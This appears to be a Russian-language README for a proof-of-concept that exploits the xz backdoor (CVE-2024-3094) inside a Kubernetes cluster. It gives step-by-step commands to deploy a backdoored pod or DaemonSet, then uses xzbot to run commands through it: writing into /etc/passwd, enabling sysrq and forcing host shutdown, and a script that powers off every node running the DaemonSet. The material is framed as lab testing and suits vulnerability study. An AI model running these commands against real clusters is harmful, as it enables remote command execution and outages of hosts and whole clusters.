
Базовый POC для проверки уязвимости CVE-2024-3094 внутри кластера K8s
Базовый POC для проверки уязвимости CVE-2024-3094 внутри кластера K8s
Мы развернем уязвимый pod и используем его для выполнения команд внутри этого уязвимого pod. Мы делаем это в одной сети по соображениям безопасности. Мы не выставляем уязвимый pod в интернет, но концепция та же самая.
Эта уязвимость позволяет выполнять команды внутри pod, даже если pod запущен с контекстом безопасности. Вы можете, например, выключить хост, на котором работает pod.
Если эта уязвимость выполняется в одном pod, вы можете выключить хост, временно сделав недоступными все сервисы, работающие на этом хосте. Но если уязвимость работает как DaemonSet, вы можете выключить все хосты, на которых работает этот DaemonSet, и даже выключить весь кластер.
Сначала установите xzbot в кластер
go install github.com/amlweems/xzbot@latest
Скачайте репозиторий и разверните уязвимый Deployment/DaemonSet
git clone https://github.com/shefirot/CVE-2024-3094.git
cd CVE-2024-3094
# Deployment
kubectl apply -f deploy_cve-2024-3094.yml
# Or daemonset
kubectl apply -f daemonset_cve-2024-3094.yml
# Get the pod name
kubectl -n vulnes get pods
# Port forward the pod
kubectl -n vulnes port-forward <pod-name> 2225:22
# Execute command, for example write in /etc/passwd
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo "David estuvo aqui" >> /etc/passwd'
# Check the /etc/passwd file
kubectl -n vulnes exec <pod-name> -- /usr/bin/cat /etc/passwd
Продолжаем и выключаем хост
# Enable sysrq
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo 1 > /proc/sys/kernel/sysrq'
# Shutdown the host
$HOME/go/bin/xzbot -addr 127.0.0.1:2225 -cmd 'echo o > /proc/sysrq-trigger'
Вы также можете выключить все хосты, на которых работает DaemonSet
source shutdown_nodes.sh
Когда вы выполняете цикл для выключения всех хостов, если вы получите эту ошибку:
2024/06/11 12:08:58 dial tcp 127.0.0.1:2225: connect: connection refused
Дайте больше времени для готовности перенаправления порта. Вы можете увеличить время ожидания в цикле.
Используемый образ контейнера был создан с помощью Dockerfile в репозитории. Вы можете создать образ и отправить его в свой реестр.
Чтобы сгенерировать библиотеку liblzma.so.5.6.0.patch, вы можете использовать следующий репозиторий amlweems, который указан в ссылках.